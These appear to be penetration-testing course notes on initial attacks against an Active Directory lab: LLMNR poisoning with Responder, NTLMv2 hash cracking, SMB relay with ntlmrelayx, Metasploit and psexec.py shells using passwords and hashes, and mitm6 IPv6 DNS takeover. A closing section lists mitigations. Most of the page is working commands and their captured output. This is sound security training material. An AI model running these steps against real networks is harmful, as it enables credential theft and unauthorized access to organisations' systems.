AD - Initial Attack Vectors

LLMNR Poisoning

➡️ LLMNR (Link-Local Multicast Name Resolution) protocol (NetBIOS / NBT-NS successor) allows hosts to perform name resolution for hosts on the same local network without requiring a DNS server.

When a host DNS query fails -> the host broadcast an LLMNR query across the local network
- An attacker can listen for these queries and respond to them with its IP to redirect traffic, leading to relay attacks and credentials theft (username & NTLM hash)

Responder

➡️ Responder - LMNR, NBT-NS and MDNS poisoner

HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server
Supports NTLMv1/NTLMv2/LMv2 with Extended Security NTLMSSP
Built-in HTTP and HTTPS auth servers
Built-in MSSQL auth server
... more ...

sudo responder -I eth0 -dPv

Login to THEPUNISHER VM with fcastle user and try to open WinExplorer and navigate to \\192.168.31.131 (Kali IP)
An event occurs and triggers LLMNR
- victim's username and password NTLMv2 hash received

NTLMv2 Crack

Save the hash into a hashes.txt file and try to crack it

mkdir -p ~/tcm/peh/ad-attacks
cd ~/tcm/peh/ad-attacks

nano hashes.txt
# Paste the entire hash here
# e.g.
fcastle::MARVEL:326a2463163fdc3c:F7960DB37F933089E086898EC14E6C78:01010000000000008056A8C737E1DA012259B2C298FAD80B00000000020008004400530035004E0001001E00570049004E002D0058004B00300049004C0054004B0049004B004200560004003400570049004E002D0058004B00300049004C0054004B0049004B00420056002E004400530035004E002E004C004F00430041004C00030014004400530035004E002E004C004F00430041004C00050014004400530035004E002E004C004F00430041004C00070008008056A8C737E1DA0106000400020000000800300030000000000000000100000000200000904D97995337C0F1A56FEF978A82D6E80397E74EE021151E600DB10AC038DF7B0A001000000000000000000000000000000000000900260063006900660073002F003100390032002E003100360038002E00330031002E003100330031000000000000000000

# Run hashcat
hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt --show

➡️ SMB (Server Message Block) is a network file sharing protocol. Common in Windows, it allows shared access to files and printers. However, when unsecured and paired with NTLM authentication, it becomes a target to relay attacks.

Attackers intercept and relay SMB authentication attempts to another server, impersonating the user and exploiting SMB due to lack of SMB signing, gaining unauthorized access
Requirements:
- SMB signing disabled or not enforced
- Relayed user must have local admin credentials
- Credentials cannot be relayed to the same machine

Identify the hosts without SMB signing.

nmap --script=smb2-security-mode.nse -p445 192.168.31.90-93 -Pn

-------------------------------------------------------------
Nmap scan report for hydra-dc.MARVEL.local (192.168.31.90)
Host is up (0.00034s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

-------------------------------------------------------------
Nmap scan report for spiderman.MARVEL.local (192.168.31.92)
Host is up (0.00045s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required

-------------------------------------------------------------
Nmap scan report for thepunisher.MARVEL.local (192.168.31.93)
Host is up (0.00038s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required

SMB signing is not enforced (default setting for Windows workstations)

# Check on Windows - cmd
reg query HKLM\System\CurrentControlSet\Services\LanManServer\Parameters | findstr /I securitysignature

Create a targets.txt file with the gathered targets

echo -e "192.168.31.92\n192.168.31.93" > targets.txt

Setup Responder configuration file

sudo nano /etc/responder/Responder.conf

# Switch Off SMB and HTTP
SMB = Off
...
HTTP = Off
...

# Run Responder
sudo responder -I eth0 -dPv

ntlmrelayx.py

➡️ ntlmrelayx.py - This module performs the SMB Relay attacks to many target protocols (SMB, MSSQL, LDAP, etc).

Setup the NTLM relay
(ntlmrelayx.py is older version installed via PimpMyKali)

sudo ntlmrelayx.py -tf targets.txt -smb2support

Login to THEPUNISHER VM with fcastle user and try to open WinExplorer and navigate to \\192.168.31.131 (Kali IP)
An event occurs and triggers LLMNR, is captured by responder, passed to ntlmrelayx with relays the credentials to the targets in our targets.txt file

The local SAM hashes are dumped from SPIDERMAN and automatically saved into the 192.168.31.92_samhashes.sam file

# SPIDERMAN - 192.168.31.92 SAM Hashes

Administrator:500:aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:60d1d3dc4291fca471e146c798f8d603:::
peterparker:1001:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::

Try to start an interactive shell via ntlmrelayx.py

sudo ntlmrelayx.py -tf targets.txt -smb2support -i
# trigger the event in the Windows VM

[...]
[*] Authenticating against smb://192.168.31.92 as MARVEL\fcastle SUCCEED
[*] Started interactive SMB client shell via TCP on 127.0.0.1:11000

# Bind to the the SMB shell
nc 127.0.0.1 11000

# Execute commands

sudo ntlmrelayx.py -tf targets.txt -smb2support -c "whoami"

# trigger the event in the Windows VM

msfconsole - shell access

msfconsole

search psexec
use exploit/windows/smb/psexec

set payload windows/x64/meterpreter/reverse_tcp
set rhosts 192.168.31.93
set smbdomain MARVEL.local
set smbuser fcastle
set smbpass Password1
show targets # proceed with Automatic

run

background
sessions
session 1

# Do the hash attack

# Set SMB user to a local user
set smbuser administrator
unset smbdomain
set smbpass aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f
run

psexec.py - shell access

➡️ psexec.py

# Login with password
psexec.py MARVEL.local/fcastle:'Password1'@192.168.31.93
psexec.py MARVEL.local/fcastle:@192.168.31.93

# Login with hash
psexec.py administrator@192.168.31.93 -hashes aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f

IPv6 DNS Takeover

mitm6

➡️ mitm6 - exploits the default Windows config to take over the default DNS server by replying to DHCPv6 messages, providing the victim with a link-local IPv6 address and setting the attacker's host as default DNS server

Setup the relay attack

sudo ntlmrelayx.py -6 -t ldaps://hydra-dc.MARVEL.local -wh fakewpad.MARVEL.local -l lootme

# Run in another dedicated terminal
sudo mitm6 -d MARVEL.local

Reboot THEPUNISHER VM and check the ntlmrelayx.py output
Go to ~/tcm/peh/ad-attacks/lootme directory
- the files contain data about domain users, computers, groups, policies, etc

Login to THEPUNISHER using the MARVEL\administrator and check the successful attack
- User bkVKFfXduD has been created

Mitigation

Mitigate IPv6 poisoning:

Block DHCPv6 traffic and router advertisements in Windows Firewall using Group Policy
Use specific rules:
- (Inbound) Core Networking - DHCPv6-In
- (Inbound) Core Networking - ICMPv6-In
- (Outbound) Core Networking - DHCPv6-Out

Disable WPAD if not in use:

Use Group Policy and disable WinHttpAutoProxySvc service

Mitigate LDAP/LDAPS relaying:

Enable both LDAP signing and LDAP channel binding

Protect administrative accounts:

Consider marking accounts as sensitive or adding them to the Protected Users group to prevent delegation and impersonation

Pass-Back Attack

Check this article for more information about the attack - How to Hack Through a Pass-Back Attack: MFP Hacking Guide

MFPs (Multi-Function Peripherals - printers, copiers) are often overlooked targets but can be exploited for serious security breaches
Pass-Back Attack - involves redirecting MFP's LDAP authentication to a malicious server to capture user credentials
Tools like PRET can be used to access MFP settings.
High-risk, low-effort - exploiting MFPs can yield sensitive data with minimal effort.

PreviousActive Directory Lab NextAD - Post-Compromise Enumeration

Last updated 4 months ago